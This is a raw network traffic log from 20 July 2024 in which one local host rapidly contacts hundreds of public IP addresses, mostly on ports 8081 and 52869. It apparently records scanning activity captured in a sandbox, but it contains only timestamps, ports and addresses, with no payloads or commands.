Jul 20, 2024 23:00:59.727139950 CEST	50565	8081	192.168.2.13	181.146.226.190
Jul 20, 2024 23:00:59.727139950 CEST	50565	8081	192.168.2.13	186.87.155.243
Jul 20, 2024 23:00:59.727354050 CEST	8081	50565	43.3.205.152	192.168.2.13
Jul 20, 2024 23:00:59.727566004 CEST	50565	8081	192.168.2.13	83.173.184.24
Jul 20, 2024 23:00:59.727566004 CEST	50565	8081	192.168.2.13	43.3.205.152
Jul 20, 2024 23:00:59.727608919 CEST	52869	50566	218.89.18.26	192.168.2.13
Jul 20, 2024 23:00:59.727708101 CEST	50566	52869	192.168.2.13	190.123.17.110
Jul 20, 2024 23:00:59.727708101 CEST	50566	52869	192.168.2.13	31.54.39.40
Jul 20, 2024 23:00:59.727709055 CEST	50566	52869	192.168.2.13	4.193.117.37
Jul 20, 2024 23:00:59.727709055 CEST	50566	52869	192.168.2.13	145.162.14.166
Jul 20, 2024 23:00:59.727709055 CEST	50566	52869	192.168.2.13	2.57.213.168
Jul 20, 2024 23:00:59.727709055 CEST	50566	52869	192.168.2.13	208.22.1.172
Jul 20, 2024 23:00:59.727709055 CEST	50566	52869	192.168.2.13	131.137.224.104
Jul 20, 2024 23:00:59.727709055 CEST	50566	52869	192.168.2.13	176.44.3.114
Jul 20, 2024 23:00:59.728351116 CEST	8081	50565	47.235.211.239	192.168.2.13
Jul 20, 2024 23:00:59.728502989 CEST	52869	50566	1.144.63.65	192.168.2.13
Jul 20, 2024 23:00:59.729338884 CEST	50566	52869	192.168.2.13	135.82.236.8
Jul 20, 2024 23:00:59.729338884 CEST	50566	52869	192.168.2.13	155.72.128.191
Jul 20, 2024 23:00:59.729338884 CEST	50566	52869	192.168.2.13	32.61.30.252
Jul 20, 2024 23:00:59.729338884 CEST	50566	52869	192.168.2.13	94.51.76.183
Jul 20, 2024 23:00:59.729338884 CEST	50566	52869	192.168.2.13	59.85.21.147
Jul 20, 2024 23:00:59.729338884 CEST	50566	52869	192.168.2.13	192.165.237.85
Jul 20, 2024 23:00:59.729338884 CEST	50566	52869	192.168.2.13	147.223.212.150
Jul 20, 2024 23:00:59.729338884 CEST	50566	52869	192.168.2.13	25.242.31.204
Jul 20, 2024 23:00:59.729675055 CEST	50565	8081	192.168.2.13	103.54.28.100
Jul 20, 2024 23:00:59.729675055 CEST	50565	8081	192.168.2.13	125.182.17.174
Jul 20, 2024 23:00:59.729675055 CEST	50565	8081	192.168.2.13	159.169.98.244
Jul 20, 2024 23:00:59.729675055 CEST	50565	8081	192.168.2.13	18.196.55.218
Jul 20, 2024 23:00:59.729676008 CEST	50565	8081	192.168.2.13	66.249.161.130
Jul 20, 2024 23:00:59.730242968 CEST	52869	50566	221.98.150.96	192.168.2.13
Jul 20, 2024 23:00:59.730350018 CEST	52869	34450	112.104.240.153	192.168.2.13
Jul 20, 2024 23:00:59.730454922 CEST	50566	52869	192.168.2.13	13.65.173.81
Jul 20, 2024 23:00:59.730454922 CEST	50566	52869	192.168.2.13	132.216.15.237
Jul 20, 2024 23:00:59.730454922 CEST	50566	52869	192.168.2.13	105.77.33.146
Jul 20, 2024 23:00:59.730454922 CEST	50566	52869	192.168.2.13	124.185.179.185
Jul 20, 2024 23:00:59.730454922 CEST	50566	52869	192.168.2.13	188.10.172.52
Jul 20, 2024 23:00:59.730454922 CEST	50566	52869	192.168.2.13	128.143.136.11
Jul 20, 2024 23:00:59.730454922 CEST	50566	52869	192.168.2.13	23.75.97.19
Jul 20, 2024 23:00:59.730454922 CEST	50566	52869	192.168.2.13	24.214.134.218
Jul 20, 2024 23:00:59.730458021 CEST	34450	52869	192.168.2.13	112.104.240.153
Jul 20, 2024 23:00:59.730695009 CEST	52869	50566	201.79.230.83	192.168.2.13
Jul 20, 2024 23:00:59.731014967 CEST	50565	8081	192.168.2.13	47.235.211.239
Jul 20, 2024 23:00:59.731559992 CEST	52869	50566	54.88.80.47	192.168.2.13
Jul 20, 2024 23:00:59.732117891 CEST	50565	8081	192.168.2.13	135.245.138.143
Jul 20, 2024 23:00:59.732117891 CEST	50565	8081	192.168.2.13	216.219.135.225
Jul 20, 2024 23:00:59.732117891 CEST	50565	8081	192.168.2.13	211.82.14.73
Jul 20, 2024 23:00:59.732117891 CEST	50565	8081	192.168.2.13	200.190.12.183
Jul 20, 2024 23:00:59.732117891 CEST	50565	8081	192.168.2.13	221.121.120.176
Jul 20, 2024 23:00:59.732117891 CEST	50565	8081	192.168.2.13	140.211.239.140
Jul 20, 2024 23:00:59.732117891 CEST	50565	8081	192.168.2.13	197.77.161.56
Jul 20, 2024 23:00:59.732119083 CEST	50565	8081	192.168.2.13	171.176.70.217
Jul 20, 2024 23:00:59.732645988 CEST	52869	50566	185.39.37.26	192.168.2.13
Jul 20, 2024 23:00:59.732939959 CEST	50565	8081	192.168.2.13	50.48.224.20
Jul 20, 2024 23:00:59.732939959 CEST	50565	8081	192.168.2.13	170.178.178.177
Jul 20, 2024 23:00:59.732939959 CEST	50565	8081	192.168.2.13	12.239.139.184
Jul 20, 2024 23:00:59.732939959 CEST	50565	8081	192.168.2.13	47.192.232.169
Jul 20, 2024 23:00:59.732939959 CEST	50565	8081	192.168.2.13	200.211.245.199
Jul 20, 2024 23:00:59.732939959 CEST	50565	8081	192.168.2.13	186.252.28.16
Jul 20, 2024 23:00:59.732939959 CEST	50565	8081	192.168.2.13	37.135.178.255
Jul 20, 2024 23:00:59.732939959 CEST	50565	8081	192.168.2.13	124.120.126.120
Jul 20, 2024 23:00:59.732990980 CEST	52869	50566	5.232.98.225	192.168.2.13
Jul 20, 2024 23:00:59.733166933 CEST	52869	50566	130.53.40.71	192.168.2.13
Jul 20, 2024 23:00:59.733313084 CEST	50566	52869	192.168.2.13	112.146.204.12
Jul 20, 2024 23:00:59.733313084 CEST	50566	52869	192.168.2.13	106.170.44.30
Jul 20, 2024 23:00:59.733314037 CEST	50566	52869	192.168.2.13	103.80.103.9
Jul 20, 2024 23:00:59.733314037 CEST	50566	52869	192.168.2.13	74.246.134.148
Jul 20, 2024 23:00:59.733314037 CEST	50566	52869	192.168.2.13	218.62.83.36
Jul 20, 2024 23:00:59.733314037 CEST	50566	52869	192.168.2.13	139.239.219.1
Jul 20, 2024 23:00:59.733314037 CEST	50566	52869	192.168.2.13	136.223.0.40
Jul 20, 2024 23:00:59.733314037 CEST	50566	52869	192.168.2.13	202.148.194.228
Jul 20, 2024 23:00:59.733939886 CEST	52869	50566	186.52.104.243	192.168.2.13
Jul 20, 2024 23:00:59.734046936 CEST	52869	50566	188.116.105.216	192.168.2.13
Jul 20, 2024 23:00:59.734775066 CEST	50565	8081	192.168.2.13	102.122.202.88
Jul 20, 2024 23:00:59.734775066 CEST	50565	8081	192.168.2.13	118.20.111.27
Jul 20, 2024 23:00:59.734775066 CEST	50565	8081	192.168.2.13	218.162.241.17
Jul 20, 2024 23:00:59.734775066 CEST	50565	8081	192.168.2.13	121.97.219.245
Jul 20, 2024 23:00:59.734776020 CEST	50565	8081	192.168.2.13	98.211.164.50
Jul 20, 2024 23:00:59.734776020 CEST	50565	8081	192.168.2.13	186.24.241.36
Jul 20, 2024 23:00:59.734776020 CEST	50565	8081	192.168.2.13	108.22.173.13
Jul 20, 2024 23:00:59.734776020 CEST	50565	8081	192.168.2.13	13.167.225.102
Jul 20, 2024 23:00:59.735114098 CEST	50565	8081	192.168.2.13	139.194.244.252
Jul 20, 2024 23:00:59.735114098 CEST	50565	8081	192.168.2.13	51.107.50.140
Jul 20, 2024 23:00:59.735114098 CEST	50565	8081	192.168.2.13	78.132.242.214
Jul 20, 2024 23:00:59.735114098 CEST	50565	8081	192.168.2.13	187.253.102.13
Jul 20, 2024 23:00:59.735114098 CEST	50565	8081	192.168.2.13	146.111.247.117
Jul 20, 2024 23:00:59.735114098 CEST	50565	8081	192.168.2.13	176.15.211.248
Jul 20, 2024 23:00:59.735114098 CEST	50565	8081	192.168.2.13	59.149.85.161
Jul 20, 2024 23:00:59.735114098 CEST	50565	8081	192.168.2.13	1.171.148.2
Jul 20, 2024 23:00:59.735289097 CEST	50566	52869	192.168.2.13	149.139.83.79
Jul 20, 2024 23:00:59.735290051 CEST	50566	52869	192.168.2.13	135.229.216.202
Jul 20, 2024 23:00:59.735290051 CEST	50566	52869	192.168.2.13	192.192.98.6
Jul 20, 2024 23:00:59.735290051 CEST	50566	52869	192.168.2.13	207.163.132.50
Jul 20, 2024 23:00:59.735290051 CEST	50566	52869	192.168.2.13	106.10.173.134
Jul 20, 2024 23:00:59.735290051 CEST	50566	52869	192.168.2.13	34.232.86.205
Jul 20, 2024 23:00:59.735290051 CEST	50566	52869	192.168.2.13	198.220.142.183
Jul 20, 2024 23:00:59.735290051 CEST	50566	52869	192.168.2.13	166.195.11.104
Jul 20, 2024 23:00:59.735470057 CEST	8081	50565	62.119.217.171	192.168.2.13
Jul 20, 2024 23:00:59.736548901 CEST	8081	50565	181.146.226.190	192.168.2.13
Jul 20, 2024 23:00:59.736793995 CEST	50566	52869	192.168.2.13	112.95.23.233
Jul 20, 2024 23:00:59.736793995 CEST	50566	52869	192.168.2.13	36.73.81.211
Jul 20, 2024 23:00:59.736793995 CEST	50566	52869	192.168.2.13	161.85.5.164
Jul 20, 2024 23:00:59.736793995 CEST	50566	52869	192.168.2.13	45.56.138.142
Jul 20, 2024 23:00:59.736793995 CEST	50566	52869	192.168.2.13	40.43.30.134
Jul 20, 2024 23:00:59.736793995 CEST	50566	52869	192.168.2.13	45.21.136.190
Jul 20, 2024 23:00:59.736793995 CEST	50566	52869	192.168.2.13	48.231.69.84
Jul 20, 2024 23:00:59.736793995 CEST	50566	52869	192.168.2.13	104.230.5.149
Jul 20, 2024 23:00:59.736982107 CEST	50566	52869	192.168.2.13	1.3.96.229
Jul 20, 2024 23:00:59.736982107 CEST	50566	52869	192.168.2.13	45.192.163.60
Jul 20, 2024 23:00:59.736982107 CEST	50566	52869	192.168.2.13	190.24.218.172
Jul 20, 2024 23:00:59.736982107 CEST	50566	52869	192.168.2.13	102.56.9.25
Jul 20, 2024 23:00:59.736982107 CEST	50566	52869	192.168.2.13	192.124.164.51
Jul 20, 2024 23:00:59.736982107 CEST	50566	52869	192.168.2.13	150.222.203.213
Jul 20, 2024 23:00:59.736982107 CEST	50566	52869	192.168.2.13	79.143.71.61
Jul 20, 2024 23:00:59.736982107 CEST	50566	52869	192.168.2.13	106.16.131.182
Jul 20, 2024 23:00:59.737123013 CEST	8081	50565	186.87.155.243	192.168.2.13
Jul 20, 2024 23:00:59.737575054 CEST	40664	8081	192.168.2.13	118.88.197.138
Jul 20, 2024 23:00:59.737884998 CEST	8081	50565	135.245.138.143	192.168.2.13
Jul 20, 2024 23:00:59.737967968 CEST	8081	50565	216.219.135.225	192.168.2.13
Jul 20, 2024 23:00:59.738256931 CEST	50565	8081	192.168.2.13	37.108.174.235
Jul 20, 2024 23:00:59.738256931 CEST	50565	8081	192.168.2.13	9.232.8.132
Jul 20, 2024 23:00:59.738256931 CEST	50566	52869	192.168.2.13	176.162.101.212
Jul 20, 2024 23:00:59.738256931 CEST	50566	52869	192.168.2.13	165.179.75.37
Jul 20, 2024 23:00:59.738256931 CEST	50566	52869	192.168.2.13	168.235.140.79
Jul 20, 2024 23:00:59.738256931 CEST	50566	52869	192.168.2.13	145.18.206.1
Jul 20, 2024 23:00:59.738256931 CEST	50566	52869	192.168.2.13	187.199.117.83
Jul 20, 2024 23:00:59.738257885 CEST	50566	52869	192.168.2.13	35.240.133.225
Jul 20, 2024 23:00:59.738497972 CEST	8081	50565	211.82.14.73	192.168.2.13
Jul 20, 2024 23:00:59.738528013 CEST	8081	50565	200.190.12.183	192.168.2.13
Jul 20, 2024 23:00:59.739012003 CEST	50566	52869	192.168.2.13	52.97.70.51
Jul 20, 2024 23:00:59.739012003 CEST	50566	52869	192.168.2.13	123.201.244.76
Jul 20, 2024 23:00:59.739012003 CEST	50566	52869	192.168.2.13	19.116.209.244
Jul 20, 2024 23:00:59.739012003 CEST	43078	8081	192.168.2.13	179.214.55.135
Jul 20, 2024 23:00:59.739012003 CEST	41808	52869	192.168.2.13	173.70.195.138
Jul 20, 2024 23:00:59.739402056 CEST	8081	50565	221.121.120.176	192.168.2.13
Jul 20, 2024 23:00:59.739439011 CEST	8081	50565	50.48.224.20	192.168.2.13
Jul 20, 2024 23:00:59.739468098 CEST	8081	50565	140.211.239.140	192.168.2.13
Jul 20, 2024 23:00:59.739496946 CEST	8081	50565	170.178.178.177	192.168.2.13
Jul 20, 2024 23:00:59.739526987 CEST	8081	50565	12.239.139.184	192.168.2.13
Jul 20, 2024 23:00:59.739618063 CEST	50566	52869	192.168.2.13	220.129.65.61
Jul 20, 2024 23:00:59.739618063 CEST	50566	52869	192.168.2.13	77.241.217.204
Jul 20, 2024 23:00:59.739618063 CEST	50566	52869	192.168.2.13	1.211.248.189
Jul 20, 2024 23:00:59.739618063 CEST	50566	52869	192.168.2.13	222.205.157.144
Jul 20, 2024 23:00:59.739618063 CEST	50566	52869	192.168.2.13	156.151.36.127
Jul 20, 2024 23:00:59.739618063 CEST	50566	52869	192.168.2.13	45.170.132.43
Jul 20, 2024 23:00:59.739618063 CEST	50566	52869	192.168.2.13	17.21.56.11
Jul 20, 2024 23:00:59.739618063 CEST	50566	52869	192.168.2.13	85.245.163.84
Jul 20, 2024 23:00:59.739645958 CEST	8081	50565	47.192.232.169	192.168.2.13
Jul 20, 2024 23:00:59.739675999 CEST	8081	50565	197.77.161.56	192.168.2.13
Jul 20, 2024 23:00:59.739705086 CEST	8081	50565	200.211.245.199	192.168.2.13
Jul 20, 2024 23:00:59.739880085 CEST	8081	50565	186.252.28.16	192.168.2.13
Jul 20, 2024 23:00:59.739933968 CEST	8081	50565	37.135.178.255	192.168.2.13
Jul 20, 2024 23:00:59.740106106 CEST	50566	52869	192.168.2.13	170.179.22.174
Jul 20, 2024 23:00:59.740106106 CEST	50566	52869	192.168.2.13	218.172.50.144
Jul 20, 2024 23:00:59.740106106 CEST	50566	52869	192.168.2.13	75.157.249.115
Jul 20, 2024 23:00:59.740106106 CEST	50566	52869	192.168.2.13	193.76.38.145
Jul 20, 2024 23:00:59.740106106 CEST	50566	52869	192.168.2.13	5.72.12.46
Jul 20, 2024 23:00:59.740106106 CEST	50566	52869	192.168.2.13	105.43.143.24
Jul 20, 2024 23:00:59.740106106 CEST	50566	52869	192.168.2.13	148.29.162.78
Jul 20, 2024 23:00:59.740106106 CEST	50566	52869	192.168.2.13	68.212.146.166
Jul 20, 2024 23:00:59.740384102 CEST	8081	50565	171.176.70.217	192.168.2.13
Jul 20, 2024 23:00:59.740433931 CEST	8081	50565	102.122.202.88	192.168.2.13
Jul 20, 2024 23:00:59.740537882 CEST	8081	50565	124.120.126.120	192.168.2.13
Jul 20, 2024 23:00:59.740569115 CEST	8081	50565	118.20.111.27	192.168.2.13
Jul 20, 2024 23:00:59.740597963 CEST	8081	50565	218.162.241.17	192.168.2.13
Jul 20, 2024 23:00:59.740744114 CEST	8081	50565	139.194.244.252	192.168.2.13
Jul 20, 2024 23:00:59.740773916 CEST	8081	50565	51.107.50.140	192.168.2.13
Jul 20, 2024 23:00:59.741158962 CEST	8081	50565	121.97.219.245	192.168.2.13
Jul 20, 2024 23:00:59.741190910 CEST	8081	50565	98.211.164.50	192.168.2.13
Jul 20, 2024 23:00:59.741266966 CEST	8081	50565	78.132.242.214	192.168.2.13
Jul 20, 2024 23:00:59.741298914 CEST	8081	50565	186.24.241.36	192.168.2.13
Jul 20, 2024 23:00:59.741327047 CEST	8081	50565	187.253.102.13	192.168.2.13
Jul 20, 2024 23:00:59.741331100 CEST	50566	52869	192.168.2.13	210.176.207.144
Jul 20, 2024 23:00:59.741331100 CEST	50566	52869	192.168.2.13	5.32.31.50
Jul 20, 2024 23:00:59.741331100 CEST	50566	52869	192.168.2.13	186.231.139.123
Jul 20, 2024 23:00:59.741331100 CEST	50566	52869	192.168.2.13	198.119.74.143
Jul 20, 2024 23:00:59.741331100 CEST	50566	52869	192.168.2.13	87.204.95.27
Jul 20, 2024 23:00:59.741331100 CEST	50566	52869	192.168.2.13	62.70.231.247
Jul 20, 2024 23:00:59.741331100 CEST	50566	52869	192.168.2.13	149.206.247.26
Jul 20, 2024 23:00:59.741331100 CEST	50566	52869	192.168.2.13	36.153.129.12
Jul 20, 2024 23:00:59.741435051 CEST	50565	8081	192.168.2.13	62.119.217.171
Jul 20, 2024 23:00:59.741435051 CEST	50565	8081	192.168.2.13	181.146.226.190
Jul 20, 2024 23:00:59.741435051 CEST	50565	8081	192.168.2.13	186.87.155.243
Jul 20, 2024 23:00:59.741796017 CEST	8081	50565	108.22.173.13	192.168.2.13
Jul 20, 2024 23:00:59.742165089 CEST	8081	50565	13.167.225.102	192.168.2.13
Jul 20, 2024 23:00:59.742264986 CEST	8081	50565	146.111.247.117	192.168.2.13
Jul 20, 2024 23:00:59.742280960 CEST	8081	50565	176.15.211.248	192.168.2.13
Jul 20, 2024 23:00:59.742393970 CEST	50566	52869	192.168.2.13	150.21.231.233
Jul 20, 2024 23:00:59.742393970 CEST	50566	52869	192.168.2.13	186.236.40.217
Jul 20, 2024 23:00:59.742393970 CEST	50566	52869	192.168.2.13	98.215.67.213
Jul 20, 2024 23:00:59.742393970 CEST	50566	52869	192.168.2.13	178.216.95.105
Jul 20, 2024 23:00:59.742393970 CEST	50566	52869	192.168.2.13	82.130.65.202
Jul 20, 2024 23:00:59.742393970 CEST	50566	52869	192.168.2.13	204.98.215.21
Jul 20, 2024 23:00:59.742393970 CEST	50566	52869	192.168.2.13	43.185.230.14
Jul 20, 2024 23:00:59.742393970 CEST	50566	52869	192.168.2.13	1.119.134.213
Jul 20, 2024 23:00:59.743073940 CEST	50566	52869	192.168.2.13	111.9.61.68
Jul 20, 2024 23:00:59.743073940 CEST	50565	8081	192.168.2.13	61.91.168.225
Jul 20, 2024 23:00:59.743073940 CEST	50565	8081	192.168.2.13	46.238.147.125
Jul 20, 2024 23:00:59.743073940 CEST	50565	8081	192.168.2.13	60.254.0.165
Jul 20, 2024 23:00:59.743073940 CEST	50565	8081	192.168.2.13	180.136.0.179
Jul 20, 2024 23:00:59.743073940 CEST	50565	8081	192.168.2.13	53.29.149.95
Jul 20, 2024 23:00:59.743073940 CEST	50565	8081	192.168.2.13	37.84.95.254
Jul 20, 2024 23:00:59.743073940 CEST	50565	8081	192.168.2.13	58.165.154.108
Jul 20, 2024 23:00:59.743890047 CEST	50566	52869	192.168.2.13	98.153.27.97
Jul 20, 2024 23:00:59.743890047 CEST	50566	52869	192.168.2.13	119.230.97.161
Jul 20, 2024 23:00:59.743890047 CEST	32918	80	192.168.2.13	88.204.108.175
Jul 20, 2024 23:00:59.743890047 CEST	32918	80	192.168.2.13	88.204.108.175
Jul 20, 2024 23:00:59.743890047 CEST	33608	8081	192.168.2.13	168.104.48.153
Jul 20, 2024 23:00:59.744405985 CEST	50565	8081	192.168.2.13	100.8.22.181
Jul 20, 2024 23:00:59.744405985 CEST	50565	8081	192.168.2.13	71.243.166.95
Jul 20, 2024 23:00:59.744405985 CEST	50565	8081	192.168.2.13	1.193.6.3
Jul 20, 2024 23:00:59.744405985 CEST	50565	8081	192.168.2.13	47.192.67.78
Jul 20, 2024 23:00:59.744405985 CEST	50565	8081	192.168.2.13	207.120.252.102
Jul 20, 2024 23:00:59.744405985 CEST	50565	8081	192.168.2.13	17.152.54.110
Jul 20, 2024 23:00:59.744405985 CEST	50565	8081	192.168.2.13	162.1.51.245
Jul 20, 2024 23:00:59.744405985 CEST	50565	8081	192.168.2.13	217.210.5.184
Jul 20, 2024 23:00:59.744541883 CEST	8081	50565	59.149.85.161	192.168.2.13
Jul 20, 2024 23:00:59.744570017 CEST	8081	40664	118.88.197.138	192.168.2.13
Jul 20, 2024 23:00:59.744585037 CEST	8081	50565	1.171.148.2	192.168.2.13
Jul 20, 2024 23:00:59.744597912 CEST	8081	50565	37.108.174.235	192.168.2.13
Jul 20, 2024 23:00:59.744818926 CEST	8081	50565	9.232.8.132	192.168.2.13
Jul 20, 2024 23:00:59.745248079 CEST	50565	8081	192.168.2.13	8.153.117.43
Jul 20, 2024 23:00:59.745249033 CEST	50565	8081	192.168.2.13	45.4.100.124
Jul 20, 2024 23:00:59.745249033 CEST	50565	8081	192.168.2.13	12.145.52.11
Jul 20, 2024 23:00:59.745249033 CEST	50565	8081	192.168.2.13	156.21.27.248
Jul 20, 2024 23:00:59.745249033 CEST	50565	8081	192.168.2.13	181.151.212.202
Jul 20, 2024 23:00:59.745249033 CEST	50565	8081	192.168.2.13	186.163.29.106
Jul 20, 2024 23:00:59.745249033 CEST	50565	8081	192.168.2.13	125.177.39.38
Jul 20, 2024 23:00:59.745249033 CEST	50565	8081	192.168.2.13	142.52.48.226
Jul 20, 2024 23:00:59.745491028 CEST	8081	43078	179.214.55.135	192.168.2.13
Jul 20, 2024 23:00:59.745553017 CEST	52869	41808	173.70.195.138	192.168.2.13
Jul 20, 2024 23:00:59.745841980 CEST	50565	8081	192.168.2.13	39.36.144.38
Jul 20, 2024 23:00:59.745841980 CEST	50566	52869	192.168.2.13	122.59.28.135
Jul 20, 2024 23:00:59.745841980 CEST	50566	52869	192.168.2.13	152.141.22.129
Jul 20, 2024 23:00:59.745841980 CEST	50566	52869	192.168.2.13	187.189.134.230
Jul 20, 2024 23:00:59.745841980 CEST	50566	52869	192.168.2.13	79.29.92.192
Jul 20, 2024 23:00:59.745842934 CEST	50566	52869	192.168.2.13	193.33.237.176
Jul 20, 2024 23:00:59.745842934 CEST	50566	52869	192.168.2.13	98.190.18.177
Jul 20, 2024 23:00:59.745842934 CEST	50566	52869	192.168.2.13	79.65.48.214
Jul 20, 2024 23:00:59.746121883 CEST	33166	80	192.168.2.13	88.204.108.175
Jul 20, 2024 23:00:59.746545076 CEST	50566	52869	192.168.2.13	149.120.217.63
Jul 20, 2024 23:00:59.746545076 CEST	50566	52869	192.168.2.13	173.147.51.213
Jul 20, 2024 23:00:59.746545076 CEST	50566	52869	192.168.2.13	92.215.148.74
Jul 20, 2024 23:00:59.746545076 CEST	50566	52869	192.168.2.13	143.163.233.126
Jul 20, 2024 23:00:59.746545076 CEST	50566	52869	192.168.2.13	96.225.183.193
Jul 20, 2024 23:00:59.746545076 CEST	50566	52869	192.168.2.13	104.144.145.170
Jul 20, 2024 23:00:59.746545076 CEST	50566	52869	192.168.2.13	189.245.89.2
Jul 20, 2024 23:00:59.746545076 CEST	50566	52869	192.168.2.13	35.101.83.172
Jul 20, 2024 23:00:59.746948004 CEST	50566	52869	192.168.2.13	59.135.82.76
Jul 20, 2024 23:00:59.746948004 CEST	50566	52869	192.168.2.13	17.101.154.221
Jul 20, 2024 23:00:59.746948004 CEST	50566	52869	192.168.2.13	14.176.18.167
Jul 20, 2024 23:00:59.746948004 CEST	50566	52869	192.168.2.13	112.133.137.207
Jul 20, 2024 23:00:59.746948004 CEST	50566	52869	192.168.2.13	151.13.68.174
Jul 20, 2024 23:00:59.746948004 CEST	50566	52869	192.168.2.13	217.166.148.24
Jul 20, 2024 23:00:59.746948004 CEST	50566	52869	192.168.2.13	150.5.224.87
Jul 20, 2024 23:00:59.746948004 CEST	50566	52869	192.168.2.13	144.37.33.124
Jul 20, 2024 23:00:59.747481108 CEST	50566	52869	192.168.2.13	223.100.213.77
Jul 20, 2024 23:00:59.747481108 CEST	50566	52869	192.168.2.13	57.239.108.104
Jul 20, 2024 23:00:59.747481108 CEST	50566	52869	192.168.2.13	90.25.120.96
Jul 20, 2024 23:00:59.747481108 CEST	50566	52869	192.168.2.13	98.130.58.32
Jul 20, 2024 23:00:59.747481108 CEST	50566	52869	192.168.2.13	60.124.38.6
Jul 20, 2024 23:00:59.747482061 CEST	50566	52869	192.168.2.13	43.58.77.121
Jul 20, 2024 23:00:59.747482061 CEST	50566	52869	192.168.2.13	13.141.158.116
Jul 20, 2024 23:00:59.747482061 CEST	50566	52869	192.168.2.13	131.99.241.191
Jul 20, 2024 23:00:59.747905016 CEST	50566	52869	192.168.2.13	138.14.17.93
Jul 20, 2024 23:00:59.747905016 CEST	50566	52869	192.168.2.13	43.46.105.92
Jul 20, 2024 23:00:59.747905016 CEST	50566	52869	192.168.2.13	173.100.97.136
Jul 20, 2024 23:00:59.747905016 CEST	50566	52869	192.168.2.13	96.22.181.88
Jul 20, 2024 23:00:59.747905016 CEST	50566	52869	192.168.2.13	38.170.112.113
Jul 20, 2024 23:00:59.747905016 CEST	50566	52869	192.168.2.13	204.154.47.77
Jul 20, 2024 23:00:59.747905016 CEST	50566	52869	192.168.2.13	157.99.246.174
Jul 20, 2024 23:00:59.747905016 CEST	50566	52869	192.168.2.13	220.28.16.178
Jul 20, 2024 23:00:59.748315096 CEST	50566	52869	192.168.2.13	139.39.171.95
Jul 20, 2024 23:00:59.748315096 CEST	50566	52869	192.168.2.13	58.43.180.221
Jul 20, 2024 23:00:59.748315096 CEST	50566	52869	192.168.2.13	32.203.65.218
Jul 20, 2024 23:00:59.748315096 CEST	50566	52869	192.168.2.13	202.179.162.136
Jul 20, 2024 23:00:59.748315096 CEST	50566	52869	192.168.2.13	222.139.190.96
Jul 20, 2024 23:00:59.748315096 CEST	50566	52869	192.168.2.13	77.61.66.36
Jul 20, 2024 23:00:59.748315096 CEST	50566	52869	192.168.2.13	169.182.30.48
Jul 20, 2024 23:00:59.748315096 CEST	50566	52869	192.168.2.13	85.113.111.56
Jul 20, 2024 23:00:59.748569012 CEST	8081	50565	61.91.168.225	192.168.2.13
Jul 20, 2024 23:00:59.748755932 CEST	8081	50565	46.238.147.125	192.168.2.13
Jul 20, 2024 23:00:59.748841047 CEST	50566	52869	192.168.2.13	64.254.245.72
Jul 20, 2024 23:00:59.748841047 CEST	50566	52869	192.168.2.13	218.89.18.26
Jul 20, 2024 23:00:59.748841047 CEST	50566	52869	192.168.2.13	1.144.63.65
Jul 20, 2024 23:00:59.748841047 CEST	50566	52869	192.168.2.13	221.98.150.96
Jul 20, 2024 23:00:59.748841047 CEST	50566	52869	192.168.2.13	201.79.230.83
Jul 20, 2024 23:00:59.749733925 CEST	8081	50565	60.254.0.165	192.168.2.13
Jul 20, 2024 23:00:59.749762058 CEST	8081	50565	180.136.0.179	192.168.2.13
Jul 20, 2024 23:00:59.749790907 CEST	8081	50565	53.29.149.95	192.168.2.13
Jul 20, 2024 23:00:59.749819040 CEST	8081	50565	37.84.95.254	192.168.2.13
Jul 20, 2024 23:00:59.749857903 CEST	8081	50565	58.165.154.108	192.168.2.13
Jul 20, 2024 23:00:59.749918938 CEST	8081	50565	100.8.22.181	192.168.2.13
Jul 20, 2024 23:00:59.749948978 CEST	80	32918	88.204.108.175	192.168.2.13
Jul 20, 2024 23:00:59.749977112 CEST	8081	50565	71.243.166.95	192.168.2.13
Jul 20, 2024 23:00:59.750005007 CEST	8081	50565	1.193.6.3	192.168.2.13
Jul 20, 2024 23:00:59.750236034 CEST	8081	33608	168.104.48.153	192.168.2.13
Jul 20, 2024 23:00:59.750264883 CEST	8081	50565	47.192.67.78	192.168.2.13
Jul 20, 2024 23:00:59.750293970 CEST	8081	50565	207.120.252.102	192.168.2.13
Jul 20, 2024 23:00:59.750328064 CEST	8081	50565	17.152.54.110	192.168.2.13
Jul 20, 2024 23:00:59.750356913 CEST	8081	50565	162.1.51.245	192.168.2.13
Jul 20, 2024 23:00:59.750385046 CEST	8081	50565	217.210.5.184	192.168.2.13
Jul 20, 2024 23:00:59.750420094 CEST	50566	52869	192.168.2.13	54.88.80.47
Jul 20, 2024 23:00:59.750420094 CEST	50566	52869	192.168.2.13	185.39.37.26
Jul 20, 2024 23:00:59.750420094 CEST	50566	52869	192.168.2.13	5.232.98.225
Jul 20, 2024 23:00:59.750420094 CEST	50566	52869	192.168.2.13	130.53.40.71
Jul 20, 2024 23:00:59.750421047 CEST	50566	52869	192.168.2.13	186.52.104.243
Jul 20, 2024 23:00:59.750421047 CEST	50566	52869	192.168.2.13	188.116.105.216
Jul 20, 2024 23:00:59.750421047 CEST	59844	80	192.168.2.13	88.110.99.36
Jul 20, 2024 23:00:59.750421047 CEST	59844	80	192.168.2.13	88.110.99.36
Jul 20, 2024 23:00:59.750495911 CEST	8081	50565	8.153.117.43	192.168.2.13
Jul 20, 2024 23:00:59.750564098 CEST	8081	50565	45.4.100.124	192.168.2.13
Jul 20, 2024 23:00:59.750591993 CEST	8081	50565	12.145.52.11	192.168.2.13
Jul 20, 2024 23:00:59.750619888 CEST	8081	50565	156.21.27.248	192.168.2.13
Jul 20, 2024 23:00:59.750890017 CEST	8081	50565	181.151.212.202	192.168.2.13
Jul 20, 2024 23:00:59.750917912 CEST	8081	50565	186.163.29.106	192.168.2.13
Jul 20, 2024 23:00:59.751010895 CEST	8081	50565	125.177.39.38	192.168.2.13
Jul 20, 2024 23:00:59.751039982 CEST	8081	50565	142.52.48.226	192.168.2.13
Jul 20, 2024 23:00:59.751166105 CEST	8081	50565	39.36.144.38	192.168.2.13
Jul 20, 2024 23:00:59.751866102 CEST	80	33166	88.204.108.175	192.168.2.13
Jul 20, 2024 23:00:59.755023956 CEST	50565	8081	192.168.2.13	135.245.138.143
Jul 20, 2024 23:00:59.755023956 CEST	50565	8081	192.168.2.13	216.219.135.225
Jul 20, 2024 23:00:59.756759882 CEST	80	59844	88.110.99.36	192.168.2.13
Jul 20, 2024 23:00:59.759238005 CEST	50565	8081	192.168.2.13	211.82.14.73
Jul 20, 2024 23:00:59.759238005 CEST	50565	8081	192.168.2.13	200.190.12.183
Jul 20, 2024 23:00:59.766366005 CEST	50565	8081	192.168.2.13	221.121.120.176
Jul 20, 2024 23:00:59.766366005 CEST	50565	8081	192.168.2.13	140.211.239.140
